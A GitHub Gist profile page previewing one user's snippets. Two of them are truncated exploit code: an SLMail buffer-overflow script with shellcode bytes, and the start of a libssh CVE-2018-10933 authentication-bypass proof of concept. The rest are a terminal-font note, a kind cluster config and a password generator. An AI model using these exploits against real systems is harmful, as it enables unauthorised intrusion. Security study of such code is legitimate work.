Skip to content

Instantly share code, notes, and snippets.

View digital-shokunin's full-sized avatar

David digital-shokunin

View GitHub Profile
@digital-shokunin
digital-shokunin / Unicode.txt
Created June 8, 2017 20:01
Displaying unicode characters (spacevim/macs)
https://askubuntu.com/questions/572605/unicode-characters-do-not-appear-in-gnome-terminal-for-vim-airline
http://paste.ubuntu.com/9751270/
https://github.com/powerline/fonts/
Make sure terminal type is set to xterm-256color
@digital-shokunin
digital-shokunin / fuzzer.py
Last active October 3, 2018 18:00
SLMail overflow in python3
#!/usr/bin/python3
import socket
#Python 2 is dead/on borrowed time, write exploits in Python3 FTW
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#Replace shellcode with your own but prepend b" to hex strings
shellcode = (
b"\xda\xc3\xd9\x74\x24\xf4\x5f\x33\xc9\xbd\xc6\xe9\x1f\xf7\xb1"
b"\x52\x31\x6f\x17\x03\x6f\x17\x83\x29\x15\xfd\x02\x49\x0e\x80"
@digital-shokunin
digital-shokunin / cve-2018-10933.py
Created October 17, 2018 17:48
CVE-2018-10933
#CVE-2018-10933 PoC modified from Minh Tuan Luong <not.soledad () gmail com> example PoC
import paramiko
import socket
import sys
nbytes = 4096
if len(sys.argv) < 2:
print("Usage: " + sys.argv[0] + " <hostname> <port (optional: default 2222}>")
exit(1)
# Lab cluster setup
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: lab
# patch the generated kubeadm config with some extra settings
kubeadmConfigPatches:
- |
apiVersion: kubelet.config.k8s.io/v1beta1
kind: KubeletConfiguration
evictionHard:
@digital-shokunin
digital-shokunin / password_generator.py
Last active July 4, 2024 04:44
Password Generator
import string
import secrets
def generate_password(length=20):
alphabet = string.ascii_letters + string.digits + string.punctuation
password = ''.join(secrets.choice(alphabet) for _ in range(length))
return password
print(generate_password())
print(generate_password(25))